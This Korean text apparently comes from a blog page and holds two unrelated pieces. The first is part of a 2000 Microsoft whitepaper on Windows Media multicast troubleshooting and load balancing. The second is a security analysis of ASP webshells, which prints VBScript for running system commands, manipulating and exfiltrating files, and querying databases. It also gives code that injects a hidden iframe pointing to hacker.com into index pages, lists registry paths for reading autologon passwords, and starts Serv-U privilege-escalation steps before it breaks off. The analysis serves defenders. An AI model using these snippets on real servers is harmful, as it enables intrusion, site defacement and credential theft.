    멀티캐스트는 .asf 파일 이외의 파일 배포에 사용할 수 있습니다. 데이터의 단일 스트림을 다중 사용자에게 전송해야 할 경우에는 멀티캐스트를 대역폭 절약의 한 방법으로 고려해야 합니다. 이 경우 네트워크가 멀티캐스트를 지원할 수 있다고 가정합니다. 예를 들어, 네트워크가 단일 LAN으로 구성된 경우 또는 라우터와 같은 네트워크 장치가 멀티캐스트를 지원하는 경우가 그러합니다. 보통 Windows Media Technologies 멀티캐스트는 네트워크를 통해 Microsoft PowerPoint 프레젠테이션을 전송하는데 사용되지만 다른 종류의 파일이나 파일 디렉터리에도 사용할 수 있습니다. 멀티캐스트 파일 전송을 구성하려면 Windows Media 관리자가 표시하는 멀티캐스트 파일 전송 옵션을 선택합니다. 설정할 수 있는 매개 변수에는 다음을 포함하여 여러 가지가 있습니다.
    • 데이터를 보내는 데 사용해야 하는 최대 대역폭
    • 전송 시간
    • 서버가 손실된 패킷을 다시 보내도록 클라이언트가 요청할 수 있는지의 여부
    자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.

    멀티캐스트 전송 문제 해결

    멀티캐스트 세션의 문제 해결을 위한 전체 지침은 이 백서의 범위를 벗어나는 것이지만 이 절에 작업을 쉽게 할 수 있는 몇 가지 제안이 포함됩니다. 또한 이 백서에서는 설명하지 않았지만 멀티캐스트에서처럼 유니캐스트에도 비슷한 통계가 있습니다. 로깅 기능에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.

    파일 검사

    먼저 asx 및 .nsc 파일에 액세스할 수 있고 파일에 오류가 없는지 확인합니다. 이 파일이 없으면 클라이언트는 멀티캐스트에 가입할 수 없습니다. 인코더를 위한 기본 템플릿이 사용되지 않거나 변경된 값이 있으면 .asd 파일을 지정해야 한다는 것을 기억하십시오. 멀티캐스트를 구성한 후 인코더가 변경되었다면 이 파일을 다시 지정하여 .nsc 파일을 최신 상태로 유지해야 합니다. 멀티캐스트를 구성한 후 서버 구성이 변경된 경우 .nsc 파일을 다시 내보냅니다. 이렇게 하려면 Windows Media 관리자멀티캐스트 스테이션을 선택한 다음 내보내기를 선택합니다.

    통계 검사

    전송 중에 Windows Media Player를 사용하여 통계를 검사합니다. 이 작업을 하려면 Windows Media Player에서 마우스 오른쪽 단추를 누르고 통계를 누릅니다. 그림 26은 예제 화면을 나타낸 것입니다.
    wmtbes26
    그림 26 Windows Media Player 통계
    프로토콜멀티캐스트로 설정되었는지 확인합니다. 복구된 패킷손실된 패킷을 검사하여 데이터가 손실되는지 확인합니다. 복구된 패킷 카운트가 증가한다면 Windows Media Player가 손실된 패킷을 다시 구성하고 있는 것입니다. 이것은 네트워크에 문제가 있다는 표시일 수 있습니다. 이들 통계는 유니캐스트 브로드캐스트에서도 사용할 수 있습니다.
    멀티캐스트 세션을 구성할 때 로깅을 사용한다면 세션이 종료된 후에 Nsiislog.dll 로그를 사용하여 더 많은 정보를 얻을 수 있습니다. 문제가 있는 단일 세그먼트에 얼마나 많은 사용자가 있는지 등의 경향을 확인합니다.

    IGMP 버전의 지속적인 추적

    여러 가지 버전의 Windows 운영 체제에서 클라이언트가 멀티캐스트 세션에 가입하기 위해 사용하는 여러 가지 버전의 인터넷 그룹 관리 프로토콜(IGMP)을 구현한다는 것에 주의하십시오. 아래의 표에 Windows 버전에 따른 IGMP 버전이 요약되어 있습니다.
    운영 체제 IGMP 버전
    Windows 95 버전 1
    SP3 이전의 Windows NT 4.0 버전 1
    Windows 98 버전 2
    SP4 또는 SP5가 있는 Windows NT 4.0 버전 2
    Windows 2000 버전 2

    문제 확인

    단일 LAN을 통해 멀티캐스팅하지 않는 한 대개 멀티캐스팅은 다중 서브넷과 라우터를 포함합니다. 서버가 네트워크를 통해 홉 단위로 상주하고 이동하는 세그먼트에서 시작하여 문제를 확인합니다. 또한 TTL(Time-To-Live) 값이 패킷이 통과해야 하는 각 홉을 통해 패킷을 얻을 수 있을 만큼 큰지 확인합니다. 기본적으로 TTL은 홉의 수와 같아야 합니다. 이 숫자가 너무 낮으면 패킷은 네트워크 가장자리에 도달하기 전에 무시됩니다. 기본값은 5입니다. 홉의 숫자를 설정하려면 서버 구성을 누른 다음 편집할 스테이션을 누릅니다. 그림 27과 같이 서버 구성 – 스테이션 편집 대화 상자가 열립니다.
    그림 27 TTL 매개 변수 변경
    TTL 항목을 더 큰 값으로 변경합니다.
    마지막으로 네트워크의 일부 세그먼트에 대한 전송을 차단하고 있을 수 있는 방화벽이나 비 멀티캐스트 사용 장치를 찾습니다. 패킷이 통과해야 하는 라우터나 스위치가 멀티캐스트를 이해하지 못한다면 패킷이 손실됩니다. 또한 앞에서 설명한 것처럼 많은 방화벽은 멀티캐스트 전송에 사용되는 전송인 UDP 패킷을 통과시키지 않습니다.
    네트워크 문제 조사에 사용할 수 있는 많은 다른 공급업체의 모니터링 도구가 있으며 Windows 2000 운영 체제에도 몇 가지 유틸리티가 있습니다. 여기서는 네트워크 모니터tracert 유틸리티의 두 가지 도구를 간략하게 설명할 것입니다.

    네트워크 모니터

    System Management Server와 같이 사용할 수 있으며 Windows 2000 Server의 생략 버전인 네트워크 모니터를 사용하면 네트워크에서 패킷을 볼 수 있습니다. 네트워크 모니터를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 네트워크 모니터를 누릅니다.
    네트워크 모니터는 그림 28과 같습니다.
    그림 28 네트워크 모니터
    네트워크 모니터는 캡처하는 호스트의 NIC를 promiscuous 모드로 만들어 회선에서 볼 수 있는 모든 프레임을 추적 도구로 전달합니다. 캡처 필터는 분석을 위해 특정 프레임만 저장되도록 정의할 수 있습니다. 원본과 대상 NIC 주소, 원본과 대상 프로토콜 주소 및 패턴 일치에 기반하여 이 필터를 구성할 수 있습니다. 캡처를 구하면 디스플레이 필터를 사용하여 문제의 원인을 좁혀나갈 수 있습니다. 디스플레이 필터를 사용하면 특정 프로토콜도 선택할 수 있습니다. 네트워크 모니터 사용에 대한 자세한 내용은 도움말 파일을 참조하십시오.

    Tracert 유틸리티

    tracert 유틸리티는 원하는 대상 컴퓨터의 IP 주소로 패킷 그룹을 계속 보내 작동합니다. 예를 들어, 시스템에서 whitehouse.gov까지의 경로를 추적하려면 tracert whitehouse.gov를 입력합니다. 경로를 따른 각 라우터는 추적을 시작한 시스템으로 정보를 반환하여 패킷을 수신한 시스템의 IP 주소와 각 패킷의 왕복 시간(밀리초)을 사용자에게 보여줍니다. 추적이 완료되면 패킷이 원본에서 대상으로 이동하기 위해 필요한 홉 수와 각 홉에 걸리는 시간을 알 수 있습니다.
    tracert 작동의 중요한 구성 요소는 패킷의 TTL(Time-To-Live) 값입니다. Tracert는 증가하는 TTL 값으로 세 패킷 그룹을 연속적으로 보냅니다. 경로를 따라 각 라우터는 TTL 값을 1씩 줄인 후에 경로를 따라 다음 라우터로 전달합니다. 첫 번째 패킷 그룹은 1의 TTL로 보내집니다. 첫 번째 홉의 라우터는 값을 0으로 줄여 패킷을 만료시키고 만료 정보를 원래 시스템으로 다시 전송합니다. 그 다음 두 번째 그룹은 만료 정보를 먼저 반환하지 않고 두 번째 라우터로 2의 TTL과 함께 보내집니다. 이 과정은 최대 TTL 값에 도달하거나 대상 컴퓨터가 패킷을 수신할 때까지 계속됩니다. tracert 유틸리티는 최대 30의 기본 TTL 값이 갖습니다. 즉, 처음 30개의 홉을 보고할 수 있습니다. -h 옵션을 사용하여 이 값을 늘릴 수 있습니다. 옵션 목록을 보려면 명령줄에서 tracert만 입력합니다.
    그림 23은 tracert 세션의 예를 나타낸 것입니다.
     
    그림 29 tracert 세션 예
    다음은 경험에 따른 응답 시간입니다.
    • 최대 200ms까지는 양호한 값입니다.
    • 200ms에서 500ms까지가 한계입니다.
    • 500ms 이상은 사용할 수 없습니다.
    • 별표가 시간 대신 표시되면 전혀 응답이 없다는 것을 의미합니다.
    tracert에 대한 자세한 내용은 Windows 2000 도움말 파일을 참조하십시오.
    로드 균형 조정 Back to Top

    로드 균형 조정은 처리 로드를 서버 배열을 통해 분산하므로 어떤 서버에도 로드가 집중되지 않습니다. 또한 장애 조치(failover) 기능도 제공하여 오류가 발생한 서버의 로드를 제 기능을 발휘하는 서버로 전환할 수 있습니다. 로드 균형 조정을 구현하는 방법에는 다음과 같은 몇 가지가 있습니다.
    • DNS(도메인 이름 서비스) 라운드 로빈
    • Windows 로드 균형 조정 서비스

    DNS 라운드 로빈

    DNS 라운드 로빈 방법은 단일 IP 주소가 아닌 IP 주소 전체 목록으로 DNS 쿼리에 응답하여 작동합니다. 쿼리를 수행하는 Windows Media Player는 보통 첫째 IP 주소를 선택하고 연결 시간에 대해 그 서버를 참조합니다. 동일한 IP 주소가 반복하여 선택되지 않도록 목록이 순환하여 매번 목록의 상단에 다른 IP 주소가 나타나게 만듭니다.
    예를 들어, 이름과 IP 주소가 다음과 같은 세 개의 서버가 있다고 가정합니다.
    • 주소가 150.1.1.1인 example.microsoft1.com
    • 주소가 150.1.1.2인 example.microsoft2.com
    • 주소가 150.1.1.3인 example.microsoft3.com
    클라이언트 요청이 라운드 로빈을 통해 순환되도록 서버를 설정하면 다중 A 레코드를 사용합니다. 이들 DNS 레코드는 호스트를 IP 주소로 매핑합니다. 이 예에서 사이트에 액세스하는 모든 클라이언트가 example.microsoft.com이라는 이름을 사용하길 원하지만 그러한 요청을 3개의 서버에서 공유하는 상황을 가정해 봅니다. A 레코드를 다음과 같이 설정합니다.
    • example.microsoft.com. 60 IN A 150.1.1.1
    • example.microsoft.com. 60 IN A 150.1.1.2
    • example.microsoft.com. 60 IN A 150.1.1.3
    앞에 붙은 슬래시가 없는 디렉터리 이름이 대개 현재 디렉터리에 상대적으로 해석되는 것처럼 뒤에 붙은 마침표가 없는 이름은 때로 루트 이외의 도메인에 상대적으로 해석되기 때문에 각 A 레코드에서 example.microsoft.com 이름 끝에는 마침표가 필수적입니다. 끝에 붙는 마침표는 도메인 이름이 절대값이라는 것을 나타냅니다. 즉, 루트에 상대적으로 작성된 것을 의미합니다. 이 예에서 TTL 필드는 이름 서버가 60초 후에 이름 캐시에서 이들 항목을 제거하도록 지시합니다. 이로서 라운드 로빈을 지원하지 않는 중간 이름 서버에서 레코드가 오랫동안 캐시되지 않도록 보장할 수 있습니다.

    DNS 라운드 로빈의 이점과 제한

    DNS 라운드 로빈의 주요 이점은 단순하고 자유롭다는 것입니다. 소수의 레코드를 추가하여 실제로 요청이 풀의 모든 호스트 사이에서 순환할 때 서버의 풀이 단일 서버로 작동하는 것처럼 보이게 할 수 있습니다. 첫 번째 제한은 라운드 로빈이 실제로는 로드 공유 기술도 아니고 로드 균형 조정 기술도 아니라는 것입니다. 실제 로드 균형 조정 솔루션은 서버에서 로드를 측정하고 클라이언트 요청을 보낼 위치를 결정하여 작업을 균등하게 분산합니다. 라운드 로빈은 어떤 방식으로도 서버 로드를 측정하지 않습니다. 서버의 성능에 관계 없이 단순히 클라이언트 요청을 다중 호스트 사이에서 대체할 뿐입니다. 하나 이상의 호스트에는 다른 호스트보다 많은 작동을 하려는 경향이 있습니다. 두 번째 제한은 서버 중 하나가 가동 중단되어도 클라이언트의 요청이 이 IP 주소로 전송되어 이들 클라이언트가 적절한 응답을 수신하지 못한다는 것입니다.

    Windows 로드 균형 조정 서비스

    Windows 로드 균형 조정 서비스(WLBS)를 사용하면 들어오는 IP 소통량을 동적으로 여러 서버에 분산시킬 수 있습니다. WLBS는 클라이언트 요청을 호스트에 투명하게 분산시키며 클라이언트는 하나 이상의 가상 IP 주소를 사용하여 풀에 액세스할 수 있습니다. 클라이언트의 관점에서 보면 풀은 이들 IP 주소에 응답하는 단일 서버로 보입니다. WLBS 또는 MSCS(Microsoft 클러스터 서비스) 중 어느 것을 Windows Media와 함께 사용해야 하는지 묻는 고객이 많습니다. 답은 WLBS를 사용하라는 것입니다. 아래에 설명하는 MSCS는 Microsoft SQL Server와 같이 데이터를 많이 사용하는 응용 프로그램입니다.
    WLBS 서버는 다음과 같은 기능을 제공하기 위해 서로 통신합니다.
    • 오류 감지 WLBS 서버는 모든 서버가 올바르게 작동하는지 확인하기 위해 다른 WLBS 서버가 모니터링하는 하트비트를 방출합니다. 어느 한 서버가 실패하면 다른 서버가 작업 로드를 조정하고 차지합니다.
    • 로드 균형 조정 WLBS 서버는 작업 부하를 통계적으로 매핑하기 위해 분산 알고리즘을 사용합니다. 호스트는 서로 통신하여 풀의 상태를 결정하고 로드 균형 조정에 사용할 수 있는 호스트를 결정합니다.
    • 확장성 WLBS는 서비스 수요를 만족시키기 위해 확장할 수 있습니다. 소통량이 증가하면 하나의 풀에 최대 32개까지 추가할 수 있습니다.
    단일 선호도, 선호도 없음 또는 클래스 C를 사용하기 위해 필터링한 다중 서버에서 로드 균형 조정을 위해 WLBS를 구성할 수 있습니다. 상태 정보가 없는 응용 프로그램인 Windows Media Server 서버에 가장 좋은 방법은 단일 선호도입니다. 단일 선호도로 구성하면 WLBS 가상 IP 주소를 사용하여 들어오는 모든 패킷을 WLBS 클러스트의 특정 노드에 고정할 수 있습니다. 클러스터 IP 주소를 사용하여 클라이언트에서 수신하는 모든 패킷이 그 노드에 연결됩니다.

    MSCS(Microsoft 클러스터 서비스)

    MSCS는 SQL Server와 Microsoft Exchange Server와 같은 데이터 집중형 응용 프로그램에 사용됩니다. Windows Media 서버의 로드 균형 조정용으로 사용하면 안됩니다. 그러나 WLBS와 MSCS 기술을 같이 사용하여 전체 사이트에 매우 높은 확장성과 가용성을 제공할 수 있습니다. 예를 들어, 데이터베이스 기반 사이트는 WLBS 클러스터 HTTP와 Windows Media 기반 서버가 액세스하는 MSCS 클러스터에 데이터베이스를 호스팅할 수 있습니다. 이 구성은 데이터베이스 수준에서 높은 수준의 가용성을 제공하며 웹/HTTP 수준에서 높은 수준의 확장성과 가용성을 모두 제공합니다.
    WIndows Media Player HTTP 오류 메시지 Back to Top

    Windows Media Player 실행 중 발생할 수 있는 네트워크 오류 메시지는 RFC 2038에서 정의한 표준 HTTP 1.1 상태 모드입니다. 다음을 참조하십시오.
    ftp://ftp.isi.edu/in-notes/rfc2068.txt
    가장 흔하게 볼 수 있는 코드는 5xx 범위에 있으며 서버에 오류가 발생했거나 요청을 처리할 수 없다는 신호를 보내는 경우를 나타내는 서버 오류 메시지입니다. 이들 코드는 아래와 같습니다.
    코드 이름 의미
    500 내부 서버 오류 서버에 요청의 수행을 방해하는 예상치 않은 조건이 발생했습니다.
    501 구현되지 않았습니다. 서버가 요청 수행에 필요한 기능을 지원하지 않습니다. 서버가 요청 방법을 인식하지 않고 리소스를 위해 지원하지 못하는 경우에 적절한 응답입니다.
    502 잘못된 게이트웨이입니다. 게이트웨이나 프록시로 작동하는 서버가 요청의 수행을 시도하는 동안 액세스하는 업스트림 서버로부터 유효하지 않는 응답을 받았습니다.
    503 서비스를 사용할 수 없음 일시적인 오버로드나 서버 유지 관리 때문에 현재 서버가 요청을 처리할 수 없습니다. 이 메시지의 의미는 일시적인 조건이 얼마간의 지연 후 완화된다는 것입니다. 지연의 길이를 알 수 있으면 Retry-After 헤더에 표시될 수도 있습니다. Retry-After가 없다면 클라이언트는 500 응답에서처럼 응답을 처리해야 합니다.
    504 게이트웨이 시간 초과 게이트웨이나 프록시로 작동하는 서버가 요청의 완료를 시도하는 동안 액세스하는 업스트림 서버로부터 시기 적절한 응답을 받지 못했습니다.
    505 HTTP 버전 지원되지 않음 요청 메시지에 사용되는 HTTP 프로토콜 버전을 서버가 지원하지 않거나 지원을 거부합니다. 서버가 이 오류 메시지 이외에도 3.1절에서 설명한 것처럼 동일한 주요 버전을 사용하여 요청을 완료할 수 없거나 완료할 의사가 없음을 나타냅니다. 응답에는 버전이 지원되지 않는 이유와 그 서버가 지원하는 다른 프로토콜을 설명하는 엔티티가 포함되어야 합니다.
    추가 정보 Back to Top

    Windows Media Technologies, 소프트웨어 다운로드에 대한 자세한 정보와 컨텐트 작성 및 배포에 대한 기사들에 대한 링크는 다음의 공식적인 Windows Media Technologies 웹 페이지를 참조하십시오.
    http://www.microsoft.com/korea/windows/windowsmedia/default.asp
    특정 기술 관련 질문에 대한 답은 다음의 Microsoft 기술 자료 사이트를 참조하십시오. 위치는 다음과 같습니다.
    http://www.microsoft.com/support/kb.htm?RLD=32
    또한 사용자가 가입할 수 있는 다음과 같은 몇 가지 공개 뉴스 그룹도 있습니다.
    • microsoft.public.windowsmedia.technologies
    • microsoft.public.windowsmedia.technologies.beta
    • microsoft.public.windowsmedia.technologies.rightsmanager.beta
    © 2000 Microsoft Corporation. All rights reserved.
    이 문서에 포함된 정보는 문서를 발행할 때 논의된 문제들에 대한 Microsoft Corporation의 당시 관점을 나타냅니다. Microsoft는 변화하는 시장 환경에 대처해야 하므로 이를 Microsoft 측의 책임으로 해석해서는 안 되며 발행일 이후 소개된 어떠한 정보에 대해서도 Microsoft는 그 정확성을 보장하지 않습니다.
    이 백서는 정보 제공 목적으로만 제공됩니다. Microsoft는 이 문서에서 명시적이든 묵시적이든 막론하고 여하한 보증도 하지 않습니다.
    해당 저작권법을 준수하는 것은 사용자의 책임입니다. 저작권에서의 권리와는 별도로, 이 설명서의 어떠한 부분도 Microsoft의 명시적인 서면 승인 없이는 어떠한 형식이나 수단(전기적, 기계적, 복사기에 의한 복사, 디스크 복사 또는 다른 방법) 또는 목적으로도 복제되거나, 검색 시스템에 저장 또는 도입되거나, 전송될 수 없습니다.
    Microsoft가 이 설명서 본안에 관련된 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등을 보유할 수도 있습니다. 서면 사용권 계약에 따라 마이크로소프트로부터 귀하에게 명시적으로 제공된 권리 이외에, 이 설명서의 제공은 귀하에게 이러한 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등에 대한 어떠한 사용권도 허여하지 않습니다.
    Microsoft, PowerPoint, Windows, Windows 로고, Windows Media 및 Windows NT는 미국, 대한민국, 및/또는 기타 국가에서의 Microsoft Corporation의 등록 상표 또는 상표입니다.
    여기에 인용된 실제 회사와 제품 이름은 해당 소유자의 상표일 수 있습니다.
    Microsoft Corporation • One Microsoft Way • Redmond, WA 98052-6399 • USA
    01/00
    2011/01/27 01:07 2011/01/27 01:07

    1. 개 요

    가. 웹쉘이란?
    웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

    공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
    최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

    나. 웹쉘의 위험성
    2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

    웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

    피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

    [그림] 웹쉘 백신탐지 결과
    또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.

    다. 웹쉘 최신 동향
    o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
    [그림] 웹쉘 사용자 인증
    o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

    o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
    o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
    이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

    o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
    [그림] 웹쉘 관리 프로그램
    2. ASP 웹쉘 상세 분석
    최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

    가. 각 기능별 웹쉘 분석

    ■ 명령어 및 각종 어플리케이션 실행
    ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

    o Wscript.Shell
    - Run (cmd, 0, True)
    - Exec (cmd)
    Set WshShell = Server.CreateObject (“WScript.Shell”)
    Call WshShell.Run (cmd, 0, True)
    Set WshShell = CreateObject (“WScript.Shell”)
    Set oExec = WshShell.Exec (cmd)

    시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
    ShellExecute 메소드를 이용하는 것이다.

    o Shell.Application
    - Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
    set objShell = CreateObject(“Shell.Application”)
    objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1

    ■ 파일 조작
    파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

    o Scripting.FileSystemObject
    - 파일 리스팅
    Set fso = CreateObject(“Scripting.FileSystemObject”)
    Set f = fso.GetFolder(folderpath)
    Set fp = f.Files
    For Each f1 in fp
    s = s & f1.name
    Next

    - 파일 보기
    fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
    Set f = fso.OpenTextFile(“c:\testfile.txt”)
    ra = f.ReadAll

    - 파일 생성 및 수정
    Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
    MyFile.Write Contents

    - 파일 이동 및 삭제
    fso.CopyFile Path1, Path2
    fso.CopyFolder Path1, Path2
    fso.DeleteFile Path
    fso.DeleteFolder Path

    ■ 파일 다운로드
    o Adodb.Stream
    Set stream = Server.CreateObject”Adodb.Stream”)
    stream.Open
    stream.Type = 1
    stream.LoadFromFile(Path)
    Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
    Response.AddHeader “Content-Length”, stream.Size
    Response.Charset = “UTF-8”
    Response.ContentType = “application/octet-stream”
    Response.BinaryWrite stream.Read
    Response.Flush
    stream.Close
    Set stream = Nothing

    ■ 파일 업로드
    Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
    ※ 구현 예제 코드 생략
    o Adodb.Stream
    - Write
    - Read
    - SaveToFile

    ■ 웹페이지들에 악성스크립트 삽입 기능
    웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

    o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
    - (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

    o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
    - <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
    ◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
    Set regEx=New RegExp
    regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
    regEx.IgnoreCase=True
    retVal=regEx.Test(path)

    ◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
    Set fs=Server.createObject(“Scripting.FileSystemObject”)
    Set f=fs.GetFile(path)
    Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
    f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>”
    f_addcode.Close

    ■ 데이터베이스 열람 및 조작
    데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
    Set Con = Server.CreateObject(“Adodb.Connection”)
    Con.Open “Provider=SQLOLEDB;Data
    Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
    SQL = “SELECT * FROM table”
    Set RS = Con.Execute(SQL)

    ■ 레지스트리 조작
    윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

    ※ 구현 예제 코드 생략
    o Wscript.Shell
    - RegRead
    - RegWrite
    - RegDelete
    웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
    - 터미널 서비스 포트, PortNumber 키 값 변경
    HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
    - 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
    (DefaultUserName)과 패스워드(DefaultPassword)를 확인
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
    - 컴퓨터 이름 확인
    HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
    - 익명 사용자 접속 여부 및 공유 정보 확인
    HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
    HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
    HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
    redNetDrives
    - 보안 필터링 및 포워딩 여부 확인
    HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
    HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
    - 네트워크 카드 정보 확인
    HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
    -8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
    HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
    HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

    ■ 시스템 정보 확인
    웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

    o 서비스 확인
    Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
    ComputerObj.Filter = Array(“Service”)
    For Each Service in ComputerObj
    WScript.Echo “Service display name = “ & Service.DisplayName
    WScript.Echo “Service account name = “ & Service.ServiceAccountName
    WScript.Echo “Service executable = “ & Service.Path
    WScript.Echo “Current status = “ & Service.Status
    Next

    o 사용자 정보확인
    Set objComputer = GetObject(“WinNT://.”)
    objComputer.Filter = Array(“User”)
    For Each objUser in objComputer
    WScript.Echo objUser.Name
    Next

    ■ 어플리케이션 취약점을 통한 로컬 권한상승

    웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
    Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

    o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
    o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
